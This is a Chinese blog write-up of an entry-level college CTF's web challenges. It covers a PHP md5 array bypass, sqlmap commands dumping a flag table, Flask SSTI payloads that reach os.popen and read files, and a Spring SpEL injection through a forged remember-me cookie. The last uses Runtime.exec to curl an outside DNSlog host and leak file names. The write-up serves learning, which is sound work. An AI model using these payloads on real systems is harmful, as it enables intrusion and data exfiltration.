记一次院赛CTF的WEB题(入门级别)


这次院赛的题目比较基础,适合给刚入门CTF的小白提供一个大致CTF解题思路。(主要因为本人小白,表示能学到不少东西。)

签到一

题目中直接给了flag,提交就可以了。

签到二

在这里插入图片描述
在这里插入图片描述
这题主要考察的是基本的F12能力,查看网页源码,以及修改input输入框的长度。

口算小天才

在这里插入图片描述
这题通过题意,是需要让我们在1~3秒内回答出这个计算题。这题应该算是考察一个基本的编程能力吧。
在这里插入图片描述
这边给出我的python代码。当然这题还有很多别的编程语言可以使用,我当时就是直接用的js,直接获取算式,然后我是百度了一个别人写好js的运算的函数CalcEval.prototype.complexEval,然后将算式传进去,计算得出答案,放到答案的框中,js点击实现的。

easy php

在这里插入图片描述
其实看到vim就可以想到.swp文件的泄露,但是作为小白的我没有想到这个,我直接放到了漏洞扫描的软件扫了一下(强烈推荐这个软件)
在这里插入图片描述
这里发现了.DS_Store的泄露。

在这里插入图片描述
然后用ds_store_exp这个工具下载下来(需要的是python2.7的环境)
在这里插入图片描述
这边代码审计一下,首先页面get到a、b、c三个参数,然后把a和b经过的md5后的保存下来,这题输出flag的条件分别是,1、a和b存在 2、a!=b,且a的md5和b的md5要相等 3、c<9999999||(String)$c>0这个结果要是false。

md5()这个函数可以去百度一下,如果我们传入的a和b是数组的话,他们md5()后的返回值会是false,利用false==false可以满足条件2

然后要满足条件3需要知道,数组与整数比较会返回false,所以构建如下
在这里插入图片描述

录取查询

这题可以发现注入点,可以直接选择手工注入,但是更简单的是使用sqlmap
关于sqlmap如何post注入可以看下面的

首先需要用bp抓个包,把他copy到一个txt里面保存。
在这里插入图片描述

使用 sqlmap –r lqcx.txt –-dbs
就是使用我们保存的这个txt,去找数据库
在这里插入图片描述

可以发现有如下数据库,因为是学校的录取查询,所以应该是school,当然不知道也没关系,每个看一遍也能找到flag
在这里插入图片描述
然后sqlmap r lqcx.txt –D school –-table
就是找school数据库的表
在这里插入图片描述
可以发现有这两张表,所以当然是选择flag
在这里插入图片描述
使用sqlmap –r lqcx.txt –D school –T flag –-column
查找school数据库中的flag表的字段
在这里插入图片描述
可以看到有flag字段
在这里插入图片描述

使用sqlmap –r lqcx.txt –D school –T flag –C flag –-dump
就是查找school数据库中的flag表的flag字段,然后—dump弹出显示出来
在这里插入图片描述
就能得到flag
在这里插入图片描述

然后放一段我同学的手工注入
在这里插入图片描述

我爱python

在这里插入图片描述
这题的话,看了他的网页源码,可以看到power by flask,然后百度一下flask漏洞
推荐这篇博客https://blog.csdn.net/lansatiankongxxc/article/details/78764726

大概可以知道我们需要他的os模块来显示有哪些文件,然后使用file模块来读取文件。
这边使用{{().class.bases[0].subclasses()}}可以看到有哪些类,我们发现有file,然后我们还需要os,这边看了大佬的write up知道了,访问os模块可以从warnings.catch_warnings下手,发现确实是包含了这个类

这边是上面查到的那篇博客的部分截图
在这里插入图片描述
首先,这边要找warnings.catch_warnings的位置,于是我用{{[].class.base.subclasses().index(warnings.catch_warnings)}}
我发现不能执行他的那个语句应该是没有导入warnings的缘故吧我想,于是我把之前用{{().class.bases[0].subclasses()}}找到的所有类放到notepad++中,批量把>换成了>\n
在这里插入图片描述
这边发现他是第60个,换成索引就是59。

然后知道了位置,执行
{{().class.bases[0].subclasses()[59].init.func_globals.keys() }}查看由哪些global函数
在这里插入图片描述
这边可以看到有linecache,我们要访问的os模块就在这里

{{().class.bases[0].subclasses()
[59].init.getattribute(‘func_global’+‘s’)
[‘linecache’] .dict[‘o’+‘s’].dict’popen’.read()}}
当然,这边没有进行关键字的过滤,所以不需要拼接字符串,但是我这里还是拼接了一下。
在这里插入图片描述
可以看到有这些文件,很明显我们要的是flag。
使用file模块进行读写
使用之前找到warnings.catch_warnings位置的方法,发现file的索引是40

{{().class.bases[0].subclasses()40.read()}}

在这里插入图片描述

Spring

主要给了他后台的源码,是一个jar包。
使用JD-GUI反编译一下,可以看到可读的java源码
首先可以看到SpringBoot的配置application.yml
在这里插入图片描述
这边可以看到一个管理员的账号、密码、权限和一个后面要用到的rememberMeKey。还有一个黑名单,我们后面需要绕过这些。

Main控制器中主要是一个账号密码权限和是否记住的读取,然后如果勾选了记住我的话,会默认给设定一个cookie

由于SmallEvaluationContext extends StandardEvaluationContext StandardEvaluationContext这些是可以执行类类型表达式。所以会出现命令执行漏洞。
在这里插入图片描述
在这里插入图片描述
这边就是把那个username传到了getAdvanceValue()方法里面,所以我们需要传的这个username应该是一个执行后可以获取我们想要的flag的东西。

然后可以看到这个username是把rememberMeValue传到this.userConfig.decryptRememberMe()里面得到的。

rememberMeValue就是我们的remember-me的值,这是我们一个cookie的值,我们可以通过改cookie的值来实现传入这个rememberMeValue

然后找到userConfig里面的decryptRememberMe()
在这里插入图片描述
就是会调用这个解开我们的cookie然后最后给到具有命令执行漏洞的SmallEvaluationContext

所以我们要构造这个cookie,就需要使用加密的方法,可以找到

在这里插入图片描述

这里的rememberMeKey的值就是之前看到的。
在这里插入图片描述

然后就可以把这个加密的方法copy出来,把我们想要执行的内容加密存入cookie

我们主要是要通过这样来获取一个回显(我这里使用DNSlog的回显方式是使用ceye.io
Runtime.getRuntime().exec(“curl http://****(这里是自己的一个子域名).ceye.io/”)

然后构建payload

String.class.getClass()
.forName("java.l"+"ang.Ru"+"ntime")
        .getMethod("exec",String.class)
        .invoke(String.class.getClass()
        .forName("java.l"+"ang.Ru"+"ntime")
            .getMethod("getRu"+"ntime")
            .invoke(String.class.getClass()
            .forName("java.l"+"ang.Ru"+"ntime"))
                ,"curl http://***.ceye.io/");

我最终构建如下
在这里插入图片描述
这边就是使目标服务器,执行将ls下的每一个文件名作为四级域名的形式回显。

为什么我不一次性作为一个字符串返回,是因为有长度限制
可以参考简书https://www.jianshu.com/p/307acf4e1fbf

所以我使用了一个for循环,将每个文件名作为我的域名的一部分回显了。
在这里插入图片描述
可以看到有flag_j4v4_hhh的一个文件

在这里插入图片描述
这边base64加密传输是避免部分符号的丢失

在这里插入图片描述
在这里插入图片描述

  • 20
    点赞
  • 123
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
第1章 注入类 课时1:SQL注入原理与利用 19'40 课时2:SQL注入宽字节原理与利用42'08 课时3:SQL Union注入原理与利用01'01'54 课时4:SQL注入布尔注入50'02 课时5:报错注入原理与利用29'27 课时6:CTF SQL基于约束注入原理与利用12'22 课时7:SQL注入基于时间注入的原理与利用50'13 课时8:SQL基于时间盲注的Python自动化解题22'45 课时9:Sqlmap自动化注入工具介绍23'47 课时10:Sqlmap自动化注入实验 - POST注入13'34 课时11:SQL注入常用基础Trick18'15 第2章 代码执行与命令执行 课时1:代码执行介绍49'32 课时2:命令执行介绍20'14 课时3:命令执行分类20'12 课时4:命令执行技巧24'30 课时5:长度限制的命令执行25'46 课时6:无数字和字母命令执行10'27 第3章 文件上传与文件包含 课时1:文件上传漏洞原理与简单实验17'10 课时2:文件上传利用 - javascript客户端检查14'16 课时3:文件上传利用 - MIME类型检查10'50 课时4:文件上传利用 - 黑名单检查11'46 课时5:白名单检查13'09 课时6:Magic Header检查13'04 课时7:竞争上传21'10 课时8:简单利用15'47 课时9:文件包含介绍 - 伪协议zip和phar利用17'56 课时10:文件包含介绍-伪协议phpfilter利用04'54 课时11:日志文件利用07'58 课时12:日志文件利用session会话利用17'43 第4章 SSRF 课时1:SSRF介绍与简单利用19'14 课时2:SSRF限制绕过策略13'07 课时3:SSRF中可以使用的协议分析17'44 课时4:Linux基础知识21'37 课时5:Redis未授权访问漏洞利用与防御16'17 课时6:Redis未授权添加ssh密钥f17'04 第5章 第五章 课时1:XXE-XML基础必备24'47 课时2:XXEXML盲注利用技巧18'22 第6章 第六章 课时1:序列化和反序列化介绍15'49 课时2:PHP反序列化识别与利用14'22 课时3:PHP序列化特殊点介绍15'28 课时4:魔术方法20'35 课时5:序列化漏洞案例 - 任意命令执行05'53 课时6:Phar反序列化10'38 第7章 第7章 Python基础 课时1:7.1-Requests模块安装与介绍15'28 课时2:7.2-Python requests库 使用18'26 课时3:7.3-XSS自动化检测13'23 课时4:7.4-Python-SQL自动化检测07'59 课时5:7.5-Python 源码泄露自动化挖掘23'38 第8章 第8章 SSTI模板注入 课时1:8.1-Flask框架介绍与基础39'14 课时2:8.2-RCE 文件读写23'37 课时3:8.3-SSTI Trick技巧27'13

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值